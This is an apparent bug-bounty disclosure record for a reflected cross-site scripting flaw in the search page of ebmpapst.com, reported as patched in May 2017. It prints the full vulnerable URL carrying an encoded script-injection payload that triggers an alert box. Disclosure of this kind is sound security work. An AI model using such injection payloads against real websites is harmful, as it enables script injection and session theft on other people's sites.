ebmpapst.com XSS vulnerability

Vulnerable URL: http://www.ebmpapst.com/de/search?q=%22%3E%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C%2Fscript%3E=ebmpapstcom=xmlnodtd=ebmpapstcom=UTF-8=UTF-8=1=1apps=1=de=ebmpapstcomde Details: Description| Value ---|--- Patched:| Yes, at 14.05.2017 Latest check for patch:| 14.05.2017 20:50 GM...